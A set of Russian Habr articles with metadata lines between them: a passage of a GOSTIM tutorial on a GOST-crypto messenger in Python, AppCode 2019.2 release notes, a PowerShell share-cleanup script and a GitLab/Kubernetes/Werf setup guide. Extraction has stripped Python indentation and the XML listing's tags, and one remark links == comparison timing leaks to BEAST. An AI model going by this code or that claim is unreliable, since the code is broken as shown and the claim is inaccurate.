("identity", OctetString(bounds=(32, 32))),
("signature", OctetString(bounds=(64, 64))),
("identityMac", MAC()),
))
class HandshakeTBS(Sequence):
schema = ((
("cookieTheir", Cookie()),
("cookieOur", Cookie()),
("pubKeyOur", PubKey()),
))
class Cookie(OctetString): bounds = (16, 16)
class PubKey(OctetString): bounds = (64, 64)
class MAC(OctetString): bounds = (16, 16)
```
HandshakeTBS — то, что будет подписываться (to be signed). HandshakeTBE — то, что будет зашифровано (to be encrypted). Обращаю внимание на поле ukm в MsgHandshake1. 34.10 VKO, для ещё большей рандомизации вырабатываемых ключей, включает параметр UKM (user keying material) — просто дополнительная энтропия.
Добавление криптографии в код
-----------------------------
Рассмотрим лишь только внесённые к оригинальному коду изменения, так как каркас остался прежним (на самом деле, сначала была написана окончательная реализация, а потом из неё выпиливалась вся криптография).
Так как аутентификация и идентификация собеседников будет проводится по публичным ключам, то теперь их надо где-то долговременно хранить. Для простоты используем JSON такого вида:
```
{
"our": {
"prv": "21254cf66c15e0226ef2669ceee46c87b575f37f9000272f408d0c9283355f98",
"pub": "938c87da5c55b27b7f332d91b202dbef2540979d6ceaa4c35f1b5bfca6df47df0bdae0d3d82beac83cec3e353939489d9981b7eb7a3c58b71df2212d556312a1"
},
"their": {
"alice": "d361a59c25d2ca5a05d21f31168609deeec100570ac98f540416778c93b2c7402fd92640731a707ec67b5410a0feae5b78aeec93c4a455a17570a84f2bc21fce",
"bob": "aade1207dd85ecd283272e7b69c078d5fae75b6e141f7649ad21962042d643512c28a2dbdc12c7ba40eb704af920919511180c18f4d17e07d7f5acd49787224a"
}
}
```
our — наша ключевая пара, шестнадцатеричные приватный и публичные ключи. their — имена собеседников и их публичные ключи. Изменим аргументы командной строки и добавим постобработку JSON данных:
```
from pygost import gost3410
from pygost.gost34112012256 import GOST34112012256
CURVE = gost3410.GOST3410Curve(
*gost3410.CURVE_PARAMS["GostR3410_2001_CryptoPro_A_ParamSet"]
)
parser = argparse.ArgumentParser(description="GOSTIM")
parser.add_argument(
"--keys-gen",
action="store_true",
help="Generate JSON with our new keypair",
)
parser.add_argument(
"--keys",
default="keys.json",
required=False,
help="JSON with our and their keys",
)
parser.add_argument(
"--bind",
default="::1",
help="Address to listen on",
)
parser.add_argument(
"--port",
type=int,
default=6666,
help="Port to listen on",
)
args = parser.parse_args()
if args.keys_gen:
prv_raw = urandom(32)
pub = gost3410.public_key(CURVE, gost3410.prv_unmarshal(prv_raw))
pub_raw = gost3410.pub_marshal(pub)
print(json.dumps({
"our": {"prv": hexenc(prv_raw), "pub": hexenc(pub_raw)},
"their": {},
}))
exit(0)
# Parse and unmarshal our and their keys {{{
with open(args.keys, "rb") as fd:
_keys = json.loads(fd.read().decode("utf-8"))
KEY_OUR_SIGN_PRV = gost3410.prv_unmarshal(hexdec(_keys["our"]["prv"]))
_pub = hexdec(_keys["our"]["pub"])
KEY_OUR_SIGN_PUB = gost3410.pub_unmarshal(_pub)
KEY_OUR_SIGN_PUB_HASH = OctetString(GOST34112012256(_pub).digest())
for peer_name, pub_raw in _keys["their"].items():
_pub = hexdec(pub_raw)
KEYS[GOST34112012256(_pub).digest()] = {
"name": peer_name,
"pub": gost3410.pub_unmarshal(_pub),
}
# }}}
```
Приватный ключ 34.10 алгоритма — случайное число. Размером 256-бит для 256-бит эллиптических кривых. PyGOST работает не с набором байт, а с [большими числами](https://ru.wikipedia.org/wiki/%D0%94%D0%BB%D0%B8%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D0%BA%D0%B0), поэтому наш приватный ключ (urandom(32)) необходимо преобразовать в число, используя gost3410.prv\_unmarshal(). Публичный ключ детерминировано вычисляется из приватного, используя gost3410.public\_key(). Публичный ключ 34.10 — два больших числа, которые тоже нужно преобразовать в байтовую последовательность для удобства хранения и передачи, используя gost3410.pub\_marshal().
После чтения JSON файла, публичные ключи, соответственно, нужно преобразовать назад, используя gost3410.pub\_unmarshal(). Так как нам будут приходить идентификаторы собеседников в виде хэша от публичного ключа, то их можно сразу же заранее вычислить и поместить в словарь для быстрого поиска. Стрибог-256 хэш это gost34112012256.GOST34112012256(), полностью удовлетворяющий hashlib интерфейсу хэш-функций.
Как изменилась корутина инициатора? Всё, как по схеме рукопожатия: генерируем cookie (128-бит вполне предостаточно), эфемерную ключевую пару 34.10, которая будет использоваться для VKO функции согласования ключей.
```
395 async def initiator(host, port):
396 _id = repr((host, port))
397 logging.info("%s: dialing", _id)
398 reader, writer = await asyncio.open_connection(host, port)
399 # Generate our ephemeral public key and cookie, send Handshake 0 message {{{
400 cookie_our = Cookie(urandom(16))
401 prv = gost3410.prv_unmarshal(urandom(32))
402 pub_our = gost3410.public_key(CURVE, prv)
403 pub_our_raw = PubKey(gost3410.pub_marshal(pub_our))
404 writer.write(Msg(("handshake0", MsgHandshake0((
405 ("cookieInitiator", cookie_our),
406 ("pubKeyInitiator", pub_our_raw),
407 )))).encode())
408 # }}}
409 await writer.drain()
```
+ ждём ответа и декодируем пришедшее Msg сообщение;
+ убеждаемся что получили handshake1;
+ декодируем эфемерный публичный ключ противоположной стороны и вычисляем сессионный ключ;
+ вырабатываем симметричные ключи необходимые для обработки TBE части сообщения.
```
423 logging.info("%s: got %s message", _id, msg.choice)
424 if msg.choice != "handshake1":
425 logging.warning("%s: unexpected message, disconnecting", _id)
426 writer.close()
427 return
428 # }}}
429 msg_handshake1 = msg.value
430 # Validate Handshake message {{{
431 cookie_their = msg_handshake1["cookieResponder"]
432 pub_their_raw = msg_handshake1["pubKeyResponder"]
433 pub_their = gost3410.pub_unmarshal(bytes(pub_their_raw))
434 ukm_raw = bytes(msg_handshake1["ukm"])
435 ukm = ukm_unmarshal(ukm_raw)
436 key_session = kek_34102012256(CURVE, prv, pub_their, ukm, mode=2001)
437 kdf = Hkdf(None, key_session, hash=GOST34112012256)
438 key_handshake1_mac_identity = kdf.expand(b"handshake1-mac-identity")
439 key_handshake1_enc = kdf.expand(b"handshake1-enc")
440 key_handshake1_mac = kdf.expand(b"handshake1-mac")
```
UKM это 64-бит число (urandom(8)), которое тоже требует десериализации из байтового представления, используя gost3410\_vko.ukm\_unmarshal(). VKO функция для 34.10-2012 256-бит это gost3410\_vko.kek\_34102012256() (KEK — key encryption key).
Выработанный сессионный ключ уже является 256-бит байтовой псевдослучайной последовательностью. Поэтому его сразу же можно использовать в HKDF функции. Так как GOST34112012256 удовлетворяет hashlib интерфейсу, то его можно сразу же использовать в Hkdf классе. Соль (первый аргумент Hkdf) мы не указываем, так как выработанный ключ из-за эфемерности участвующих ключевых пар будет разным для каждой сессии и в нём уже достаточно энтропии. kdf.expand() по умолчанию уже выдаёт ключи длиной 256-бит, требуемые для Кузнечика в дальнейшем.
Далее проверяются TBE и TBS части пришедшего сообщения:
+ вычисляется и проверяется MAC над пришедшим шифротекстом;
+ дешифруется шифротекст;
+ декодируется TBE структура;
+ из неё берётся идентификатор собеседника и проверяется известен ли он нам вообще;
+ вычисляется и проверятся MAC над этим идентификатором;
+ проверяется подпись над TBS структурой, в которую входят cookie обеих сторон и публичный эфемерный ключ противоположной стороны. Подпись проверяется долгоживущим ключом подписи собеседника.
```
441 try:
442 peer_name = validate_tbe(
443 msg_handshake1,
444 key_handshake1_mac_identity,
445 key_handshake1_enc,
446 key_handshake1_mac,
447 cookie_our,
448 cookie_their,
449 pub_their_raw,
450 )
451 except ValueError as err:
452 logging.warning("%s: %s, disconnecting", _id, err)
453 writer.close()
454 return
455 # }}}
128 def validate_tbe(
129 msg_handshake: Union[MsgHandshake1, MsgHandshake2],
130 key_mac_identity: bytes,
131 key_enc: bytes,
132 key_mac: bytes,
133 cookie_their: Cookie,
134 cookie_our: Cookie,
135 pub_key_our: PubKey,
136 ) -> str:
137 ciphertext = bytes(msg_handshake["ciphertext"])
138 mac_tag = mac(GOST3412Kuznechik(key_mac).encrypt, KUZNECHIK_BLOCKSIZE, ciphertext)
139 if not compare_digest(mac_tag, bytes(msg_handshake["ciphertextMac"])):
140 raise ValueError("invalid MAC")
141 plaintext = ctr(
142 GOST3412Kuznechik(key_enc).encrypt,
143 KUZNECHIK_BLOCKSIZE,
144 ciphertext,
145 8 * b"\x00",
146 )
147 try:
148 tbe, _ = HandshakeTBE().decode(plaintext)
149 except ASN1Error:
150 raise ValueError("can not decode TBE")
151 key_sign_pub_hash = bytes(tbe["identity"])
152 peer = KEYS.get(key_sign_pub_hash)
153 if peer is None:
154 raise ValueError("unknown identity")
155 mac_tag = mac(
156 GOST3412Kuznechik(key_mac_identity).encrypt,
157 KUZNECHIK_BLOCKSIZE,
158 key_sign_pub_hash,
159 )
160 if not compare_digest(mac_tag, bytes(tbe["identityMac"])):
161 raise ValueError("invalid identity MAC")
162 tbs = HandshakeTBS((
163 ("cookieTheir", cookie_their),
164 ("cookieOur", cookie_our),
165 ("pubKeyOur", pub_key_our),
166 ))
167 if not gost3410.verify(
168 CURVE,
169 peer["pub"],
170 GOST34112012256(tbs.encode()).digest(),
171 bytes(tbe["signature"]),
172 ):
173 raise ValueError("invalid signature")
174 return peer["name"]
```
Как уже писал выше, 34.13-2015 описывает различные [режимы работы блочных шифров](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) из 34.12-2015. Среди них есть режим выработки имитовставки, вычисления MAC-а. В PyGOST это gost3413.mac(). Этот режим требует передачи функции шифрования (принимающая и возвращающая один блок данных), размера шифроблока и, собственно, самих данных. Почему нельзя hardcode-ить размер шифроблока? 34.12-2015 описывает не только 128-битный шифр Кузнечик, но ещё и 64-битную [Магму](https://ru.wikipedia.org/wiki/%D0%93%D0%9E%D0%A1%D0%A2_28147-89_%C2%AB%D0%9C%D0%B0%D0%B3%D0%BC%D0%B0%C2%BB) — немного изменённый ГОСТ 28147-89, созданный ещё в КГБ и до сих пор имеющий один из самых высоких порогов безопасности.
Кузнечик инициализируется gost.3412.GOST3412Kuznechik(key) вызовом и возвращает объект с .encrypt()/.decrypt() методами, пригодными для передачи в 34.13 функции. MAC вычисляется следующим образом: gost3413.mac(GOST3412Kuznechik(key).encrypt, KUZNECHIK\_BLOCKSIZE, ciphertext). Для сравнения вычисленного и пришедшего MAC-а нельзя использовать обычное сравнение (==) байтовых строк, так как это операция даёт утечки времени сравнения, что, в общем случае, может приводить к фатальным уязвимостям типа [BEAST](https://en.wikipedia.org/wiki/BEAST_(computer_security)#Attacks_against_TLS/SSL) атаки на TLS. В Python имеется специальная hmac.compare\_digest функция для этого.
Функция блочного шифра может зашифровать только один блок данных. Для большего количества, да ещё и не кратной длины, необходимо использовать режим шифрования. В 34.13-2015 описаны следующие: ECB, CTR, OFB, CBC, CFB. У каждого свои допустимые сферы применения и характеристики. К огромному сожалению, у нас до сих пор нет стандартизованных [аутентифицированных режимов шифрования](https://ru.wikipedia.org/wiki/AEAD-%D1%80%D0%B5%D0%B6%D0%B8%D0%BC_%D0%B1%D0%BB%D0%BE%D1%87%D0%BD%D0%BE%D0%B3%D0%BE_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) (типа CCM, OCB, GCM и подобных) — мы вынуждены самостоятельно хотя бы добавлять MAC. Я выбираю [режим счётчика](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F#Counter_mode_(CTR)) (CTR): он не требует дополнения до размера блока, может распараллеливаться, использует только функцию шифрования, может быть безопасно использован для шифрования большого количества сообщений (в отличии от CBC, у которого относительно быстро начинаются коллизии).
Как и .mac(), .ctr() принимает похожие данные на входе: ciphertext = gost3413.ctr(GOST3412Kuznechik(key).encrypt, KUZNECHIK\_BLOCKSIZE, plaintext, iv). Требуется задание вектора инициализации, длиной ровно в половину шифроблока. Если наш ключ шифрования используется только для шифрования одного сообщения (пускай и из нескольких блоков), то безопасно задать нулевой вектор инициализации. Для шифрования handshake сообщений у нас используется каждый раз отдельный ключ.
Проверка подписи gost3410.verify() тривиальна: передаём эллиптическую кривую в пределах которой работаем (её мы просто фиксируем в нашем GOSTIM протоколе), публичный ключ подписанта (не забываем, что это должен быть кортеж из двух больших чисел, а не байтовая строка), 34.11-2012 хэш и сама пришедшая подпись.
Далее, в инициаторе мы подготавливаем и отсылаем handshake2 сообщение рукопожатия, производя те же самые действия что мы и делали при проверке, только симметрично: подпись на своих ключах вместо проверки, и т.п…
```
456 # Prepare and send Handshake 2 message {{{
457 tbs = HandshakeTBS((
458 ("cookieTheir", cookie_their),
459 ("cookieOur", cookie_our),
460 ("pubKeyOur", pub_our_raw),
461 ))
462 signature = gost3410.sign(
463 CURVE,
464 KEY_OUR_SIGN_PRV,
465 GOST34112012256(tbs.encode()).digest(),
466 )
467 key_handshake2_mac_identity = kdf.expand(b"handshake2-mac-identity")
468 mac_tag = mac(
469 GOST3412Kuznechik(key_handshake2_mac_identity).encrypt,
470 KUZNECHIK_BLOCKSIZE,
471 bytes(KEY_OUR_SIGN_PUB_HASH),
472 )
473 tbe = HandshakeTBE((
474 ("identity", KEY_OUR_SIGN_PUB_HASH),
475 ("signature", OctetString(signature)),
476 ("identityMac", MAC(mac_tag)),
477 ))
478 tbe_raw = tbe.encode()
479 key_handshake2_enc = kdf.expand(b"handshake2-enc")
480 key_handshake2_mac = kdf.expand(b"handshake2-mac")
481 ciphertext = ctr(
482 GOST3412Kuznechik(key_handshake2_enc).encrypt,
483 KUZNECHIK_BLOCKSIZE,
484 tbe_raw,
485 8 * b"\x00",
486 )
487 mac_tag = mac(
488 GOST3412Kuznechik(key_handshake2_mac).encrypt,
489 KUZNECHIK_BLOCKSIZE,
490 ciphertext,
491 )
492 writer.write(Msg(("handshake2", MsgHandshake2((
493 ("ciphertext", OctetString(ciphertext)),
494 ("ciphertextMac", MAC(mac_tag)),
495 )))).encode())
496 # }}}
497 await writer.drain()
498 logging.info("%s: session established: %s", _id, peer_name)
```
Когда сессия установлена, то вырабатываются транспортные ключи (отдельный ключ для шифрования, для аутентификации, для каждой из сторон), инициализируется Кузнечик для дешифрования и проверки MAC-а:
```
499 # Run text message sender, initialize transport decoder {{{
500 key_initiator_enc = kdf.expand(b"transport-initiator-enc")
501 key_initiator_mac = kdf.expand(b"transport-initiator-mac")
502 key_responder_enc = kdf.expand(b"transport-responder-enc")
503 key_responder_mac = kdf.expand(b"transport-responder-mac")
...
509 asyncio.ensure_future(msg_sender(
510 peer_name,
511 key_initiator_enc,
512 key_initiator_mac,
513 writer,
514 ))
515 encrypter = GOST3412Kuznechik(key_responder_enc).encrypt
516 macer = GOST3412Kuznechik(key_responder_mac).encrypt
517 # }}}
519 nonce_expected = 0
520 # Wait for test messages {{{
521 while True:
522 data = await reader.read(MaxMsgLen)
...
530 msg, tail = Msg().decode(buf)
...
537 try:
538 await msg_receiver(
539 msg.value,
540 nonce_expected,
541 macer,
542 encrypter,
543 peer_name,
544 )
545 except ValueError as err:
546 logging.warning("%s: %s", err)
547 break
548 nonce_expected += 1
549 # }}}
```
msg\_sender корутина теперь шифрует сообщения, перед отправкой в TCP-соединение. У каждого сообщения монотонно возрастающий nonce, также являющийся и вектором инициализации при шифровании в режиме счётчика. У каждого сообщения и блока сообщения гарантированно будут отличающиеся значения счётчика.
```
async def msg_sender(peer_name: str, key_enc: bytes, key_mac: bytes, writer) -> None:
nonce = 0
encrypter = GOST3412Kuznechik(key_enc).encrypt
macer = GOST3412Kuznechik(key_mac).encrypt
in_queue = IN_QUEUES[peer_name]
while True:
text = await in_queue.get()
if text is None:
break
ciphertext = ctr(
encrypter,
KUZNECHIK_BLOCKSIZE,
text.encode("utf-8"),
long2bytes(nonce, 8),
)
payload = MsgTextPayload((
("nonce", Integer(nonce)),
("ciphertext", OctetString(ciphertext)),
))
mac_tag = mac(macer, KUZNECHIK_BLOCKSIZE, payload.encode())
writer.write(Msg(("text", MsgText((
("payload", payload),
("payloadMac", MAC(mac_tag)),
)))).encode())
nonce += 1
```
Приходящие сообщения обрабатываются корутиной msg\_receiver, занимающейся аутентификацией и дешифрацией:
```
async def msg_receiver(
msg_text: MsgText,
nonce_expected: int,
macer,
encrypter,
peer_name: str,
) -> None:
payload = msg_text["payload"]
if int(payload["nonce"]) != nonce_expected:
raise ValueError("unexpected nonce value")
mac_tag = mac(macer, KUZNECHIK_BLOCKSIZE, payload.encode())
if not compare_digest(mac_tag, bytes(msg_text["payloadMac"])):
raise ValueError("invalid MAC")
plaintext = ctr(
encrypter,
KUZNECHIK_BLOCKSIZE,
bytes(payload["ciphertext"]),
long2bytes(nonce_expected, 8),
)
text = plaintext.decode("utf-8")
await OUT_QUEUES[peer_name].put(text)
```
Заключение
----------
GOSTIM предполагается использовать исключительно в учебных целях (так как не покрыт тестами, как минимум)! Исходный код программы можно скачать [тут](http://www.pygost.cypherpunks.ru/gostim.txz) (Стрибог-256 хэш: 995bbd368c04e50a481d138c5fa2e43ec7c89bc77743ba8dbabee1fde45de120). Как и все мои проекты, типа [GoGOST](http://www.gogost.cypherpunks.ru/), [PyDERASN](http://www.pyderasn.cypherpunks.ru/), [NNCP](http://www.nncpgo.org/), [GoVPN](http://www.govpn.info/), GOSTIM является полностью [свободным ПО](https://www.gnu.org/philosophy/free-sw.ru.html), распространяемым на условиях [GPLv3+](https://www.gnu.org/licenses/gpl-3.0.ru.html).
[Сергей Матвеев](http://www.stargrave.org/), [шифропанк](http://www.cypherpunks.ru/), член [Фонда СПО](https://www.fsf.org/), Python/Go-разработчик, главный специалист ФГУП «НТЦ „Атлас“. | https://habr.com/ru/post/452200/ | null | ru | null |
# AppCode 2019.2: Swift 5.1, анализ покрытия кода тестами, отображение дизассемблированного кода и другое
Астрологи объявили неделю релизов в JetBrains, количество публикаций в блоге выросло втрое! На самом деле, это тоже релизный пост, так что если вы участвовали в EAP, вы уже обо всем знаете.
Если нет — обязательно заходите под кат, потому что в этом релизе у нас не только появился анализ покрытия кода тестами и отображение дизассемблированного кода, но еще и поддержка DSL на Ruby и куча прочего интересного!
Swift
-----
### Поддержка языка
Начали поддерживать Swift 5.1:
* [SE-0242](https://github.com/apple/swift-evolution/blob/master/proposals/0242-default-values-memberwise.md): Synthesize default values for the memberwise initializer.
* [SE-0254](https://github.com/apple/swift-evolution/blob/master/proposals/0254-static-subscripts.md): Static and class subscripts.
* [SE-0068](https://github.com/apple/swift-evolution/blob/master/proposals/0068-universal-self.md): Expanding Swift `Self` to class members and value types.
* [SE-0260](https://github.com/apple/swift-evolution/blob/master/proposals/0260-library-evolution.md): Library Evolution for Stable ABIs.
* [SE-0258](https://github.com/apple/swift-evolution/blob/master/proposals/0258-property-wrappers.md): Property Wrappers
Пока в процессе, степень готовности можно смотреть вот [тут](https://youtrack.jetbrains.com/issue/OC-18443).
### Сворачивание кода
Сделали сворачивание замыканий:
### Подсветка
Нельзя так просто взять и подсветить строчку кода, не зная, с какими конкретно сущностями мы имеем дело. Поэтому полная подсветка возможна лишь после полного построения кэшей. А вот ключевые слова языка мы знаем заранее и подсветить их можем — теперь они для Swift подсвечиваются, даже если индексация с кэшированием еще не закончились:
### Генерация элементов перечислений
Продолжаем расширять области применения **Create From Usage**: теперь можно создать элемент перечисления из его использования в коде, просто нажав ⌥⏎:
### Поиск использований
Поиск использований в AppCode ищет конкретные кодовые конструкции (переменные, классы, функции, методы класса и т. д.) — это позволяет сильно сузить область поиска в сравнении с полнотекстовым. До недавнего времени для Swift мы отображали лишь *где* используется конкретная конструкция. В 2019.2 мы реализовали группировку использований по типу, так что теперь можно быстро понять еще и *как* мы используем переменную, функцию или класс:
### Склейка строк кода
Ничего особенного, просто теперь можно склеить объявление и инициализацию переменной с помощью **Join Lines** (`⌃⇧J`):
Автоматические импорты
----------------------
Есть такая система сборки — [BUCK](https://buck.build/). Система сборки BUCK по умолчанию использует header maps, поддержку которых мы год назад [добавили](https://blog.jetbrains.com/objc/2018/04/appcode-2018-1-1/), но не успели прокинуть ее же в автоимпорты. В результате, после нажатия ⌥⏎ вставлялся длиннющий путь к хедеру, который абсолютно не нужен. Теперь так не происходит, теперь все правильно.
Отладка
-------
### Отображение дизассемблированного кода
Коллеги из CLion [сделали](https://habr.com/ru/company/JetBrains/blog/445646/) отображение дизассемблированного кода для LLDB в версии 2019.1, а мы его творчески переиспользовали в этом релизе:
### Автодополнение
Еще одна полезная штука, изначально сделанная в CLion, — автодополнение команд отладчика в консоли LLDB по нажатию ⇥ (так же, как в обычной консоли):
Анализ покрытия кода тестами
----------------------------
Наконец-то сделали, и сделали хорошо. Выбираем тестовую конфигурацию, жмем **Run With Coverage** и уходим дорабатывать тесты радуемся результату:
Слева в редакторе отображаются результаты покрытия:
По нажатию на цветовой индикатор показывается плашка с количеством вызовов данного участка кода и полезными действиями:
Статистика покрытия отображается кратко в **Project** view, а более подробно — в отдельном окне:
Сборка, запуск, отладка и тестирование во время индексации
----------------------------------------------------------
Индексация и построение кэшей — небыстрый процесс, особенно на крупных проектах и особенно самая первая индексация. Тем не менее какие-то действия с проектом, пока она идет, сделать можно, например собрать или запустить приложение.
У нас долгое время эти действия блокировались, потому что для нормального использования конфигурации запуска необходимо было сначала построить кэши на проект. На самом деле, не так уж и необходимо, поэтому в версии 2019.2 мы решительно отвязали создание конфигураций запуска от кэширования, и теперь собрать, запустить, отладить или протестировать проект можно сразу же после его открытия:
Интеграции
----------
### Плагин TextMate
Часто просят добавить поддержку какого-нибудь языка, который для AppCode не является основным. Иногда мы это делаем, если понимаем, что это действительно нужно многим пользователям, — так в какой-то момент мы перетянули к себе часть WebStorm, чтобы разработчикам на React Native и PhoneGap было удобно работать с HTML/CSS/JavaScript.
Потом появился плагин для [Markdown](https://plugins.jetbrains.com/plugin/7793-markdown), потому что любой README нужно иметь возможность удобно и быстро отредактировать. Еще есть плагин для [AppleScript](https://plugins.jetbrains.com/plugin/8149-applescript-support), сделанный одним из коллег просто потому, что ему ему было интересно написать поддержку языка.
Но впихнуть объять необъятное нельзя, поэтому реализовать поддержку всех языков мы не можем. Например, в iOS-разработке часто встречаются DSL, сделанные на Ruby (конфиги CocoaPods и Fastlane). Изначально запрос звучал как “включите поддержку Ruby целиком”, но на деле не так часто эти конфиги редактируются, и тащить из-за них пол-RubyMine не кажется разумным. В то же время, не иметь никакой поддержки тоже нехорошо.
В этом релизе коллеги из WebStorm включили в дефолтную установку плагин с поддержкой бандлов TextMate, который дает для кучи языков простенькую подсветку и автодополнение. Мы последовали их примеру, и теперь у нас это тоже есть:
В силу некоторых противоречий в поддержке Fastlane со стороны самих этих бандлов, для Ruby DSL принцип конфигурации пока остается прежним (впрочем, можно [поспособствовать исправлению](https://youtrack.jetbrains.com/issue/OC-13269#focus=streamItem-27-3574361.0-0) этой ситуации).
### Плагин Shell Script
В проектах скрипты встречаются часто, поэтому мы подключили поддержку их редактирования:
Окно Commit
-----------
Точнее, больше нет никакого отдельного окна — теперь оно стало частью вкладки **Local Changes:**
На этом закончим. Все вопросы и пожелания пишите прямо тут в комментариях — будем рады ответить!
*Команда AppCode* | https://habr.com/ru/post/461949/ | null | ru | null |
# Поддержка чистой шары для обмена файлами с помощью Powershell
В каждой организации есть сетевой ресурс для обмена данными между пользователями, в который доступ имеют все. Что делать, когда пользователи сами не удаляют временные файлы из своих папок в «обмене» и ресурс начинает занимать слишком много места?
Задача:
1) Автоматическое очищение папок пользователей на общем сетевом ресурсе с сохранением структуры каталогов до 1 уровня. В корне ресурса расположены папки по фамилиям пользователей.
2) Сохранение данных за прошедший день в папке «Вчера» (права пользователей «только чтение»). Это нужно на случай, если пользователь забыл забрать важный документ вчера.
3) Логирование ошибок копирования файлов. Для анализа.
4) Возможность быстро перенастроить скрипт для использования на другом сервер\папке.
Исходные данные:
1) Сетевая папка «Обмен» на //server/obmen, которая смотрит на D:\obmen
Решение:
PowerShell позволяет работать с форматом xml штатными средствами, по этому для хранения настроек мы будем использовать именно этот формат.
Листинг файла settings.xml
```
xml version="1.0"?
D:\obmen
D:\obmen \Вчера
Вчера
Obmen
D:\acl
test\_service\_1
test\_service\_2
```
В файле скрипта clearshare.ps1 первым делом читаем настройки:
```
[xml]$settings = Get-Content D:\ps_project\Обмен\settings.xml
$mainfolder = $settings.settings.MainDir #Путь до папки обмена
$oldfolder = $settings.settings.OldDir #Путь папки Вчера
$services = $settings.settings.service #Сервисы, которые надо выключать
$ShareName = $settings.settings.sharename #Имя шары
$NameOldDir = $settings.settings.NameOldDir #Имя папки Вчера
$acldir = $settings.settings.AclDir #Имя эталонной папки acl
```
Для обеспечения доступности файлов закрываем все сеансы пользователей, отключив общий ресурс:
```
$share = Get-WmiObject Win32_Share | where {$_.name -eq $ShareName}
$share.delete()
```
Так же может потребоваться необходимость в отключении служб. Список служб описан в файле настроек, может увеличиваться.:
```
stop-service -DisplayName $services
```
Очищаем папку Вчера, пишем ошибки в файл:
```
Remove-Item "$oldfolder\*" -Recurse -Force 2> "$mainfolder\remove_error_log.txt"
```
Перемещаем сегодня во вчера, при этом исключаем саму папку «Вчера»:
```
Get-ChildItem $mainfolder -Exclude $NameOldDir | Move-Item -destination $oldfolder 2> "$mainfolder\move_error_log.txt"
```
Создаем структуру папок пользователей:
```
foreach ($foldname in Get-ChildItem $oldfolder | where {$_.Attributes -eq 'Directory'})
{
$a = $mainfolder + "\" + $foldname.name;
New-Item -type directory -path $a
}
```
Включаем сервисы командой
```
start-service -DisplayName $services
```
Включаем шару
```
$share = [wmiClass] 'Win32_share'
$share.Create($mainfolder, $ShareName, "0", "1000")
```
Назначаем права READ для пользователей и FullControl для админов на папку «Вчера» через копирования с эталонной папки:
```
$acl = Get-Acl -path $acldir
Set-Acl -Path $oldfolder -AclObject $acl
```
Итак, мы получили скрипт, который сам будет очищать временные данные пользователей каждую ночь, оставляя возможность забрать данные для забывчивых людей. Так же он логирует ошибки копирования и имеет файл настройки для адаптации к любой общей папке.
Естественно скрипт необходимо добавить в планировщик заданий на удобное Вам время. (Спасибо [ame](http://habrahabr.ru/users/ame/))
**UPD:** Доработан процесс воссоздания структуры папок. | https://habr.com/ru/post/186358/ | null | ru | null |
# GitLab + K8s + Werf
### Интро
Всем привет! Это мой первый пост на Хабре. Хотел написать сюда давно, первый блин комом - не бейте.
Сегодня хочу рассказать о связке GitLab + K8S + Werf и как с помощью него быстро собрать и задеплоить свое приложение в одну команду. Этот пост будет иметь формат мини-туториала.
Думаю большинство набредших на эту статью знают, что такое Gitlab и Kubernetes. Не знаете - гугл в помощь. В этой статье это out of scope.
Что такое Werf? Werf - это утилита, объединяющая CI/CD системы (типа Gitlab, Github Actions), docker и helm в одном флаконе и позволяющая одной командой собрать образ контейнера, запушить его в репозиторий контейнеров и задеплоить с помощью helm.
Итак, поехали.
Пост будет коротким и максимально сухим. Поделим его на две части:
1. Настройка окружения
2. Пример деплоя приложения
Приступим к первой части.
### Настройка окружения
Надеюсь у вас уже есть Gitlab. Если нет, то разверните. У меня гитлаб развернут с помощью docker-compose.
O подключении Kubernetes к Gitlab💡 Gitlab начиная с 15 версии объявил метод подключения K8S через сертификаты как deprecated и предлагает теперь единственный способ подключения кластеров через gitlab-agent и kubernetes agent server (он же kas). [Подробнее тут](https://docs.gitlab.com/ee/user/project/clusters/add_existing_cluster.html).
Если у вас еще на подключен kubernetes agent server - подключайте так
```
environment:
GITLAB_OMNIBUS_CONFIG: |
...
gitlab_kas['enable'] = true
```
То есть в gitlab.rb это будет просто `gitlab_kas['enable'] = true`. Не забываем делать `gitlab-ctl reconfigure`.
Kubernetes кластер нам тоже понадобится. Надеюсь, что он у вас тоже есть. Если нет - советую попробовать Managed Service For Kubernetes от Yandex.Cloud. Можно выбрать компактные, недорогие и к тому же вымещаемые (самые бюджетные) инстансы.
Теперь необходимо запустить `gitlab-agent` для kubernetes. Для этого создаем репозиторий infra и теперь добавляем файл по пути:
```
# .gitlab/agents/mks-agent
ci_access:
groups:
- id:
projects:
- id:
```
Вместо group\_id или project\_id проставляем пути к проектам или группам, где этот kubernetes кластер будет доступен. Например для группы `infra` и проекта `my-group/my-app` это будет выглядеть так:
```
# .gitlab/agents/mks-agent
ci_access:
groups:
- id: infra
projects:
- id: my-group/my-app
```
После этого идем в Infrastructure > Kubernetes Clusters > Connect a cluster, выбираем из выпадающего списка нужного агента. Gitlab покажет для установки gitlab-agent через helm. Выглядеть будет так:
```
helm repo add gitlab
helm repo update
helm upgrade --install mks-agent gitlab/gitlab-agent \\
--namespace gitlab-agent \\
--create-namespace \\
--set image.tag=v15.2.0 \\
--set config.token= \\
--set config.kasAddress=wss:///-/kubernetes-agent/
```
Готово. Можете проверить gitlab-agent в Infrastructure > Kubernetes Clusters списке. Должно быть состоянии `connected` .
Теперь установим в кластер kubernetes необходимые компоненты для работы Werf. В [репозитории на Github](https://github.com/abrekhov/mks-gitlab-werf) я выложил манифесты для деплоя этих компонент (плюс там все для раскатки окружения). Эти манифесты я взял с официального сайта [из этого раздела](https://werf.io/documentation/v1.2/advanced/ci_cd/run_in_container/use_gitlab_ci_cd_with_kubernetes_executor.html).
Если вы скачали репозиторий, то просто выполните
```
cd werf
kubectl -n kube-system apply -f werf-fuse-device-plugin-ds.yaml
kubectl create namespace gitlab-ci
kubectl apply -f enable-fuse-pod-limit-range.yaml
kubectl apply -f sa-runner.yaml
cd ..
```
Дело за малым, осталось установить gitlab-runner.
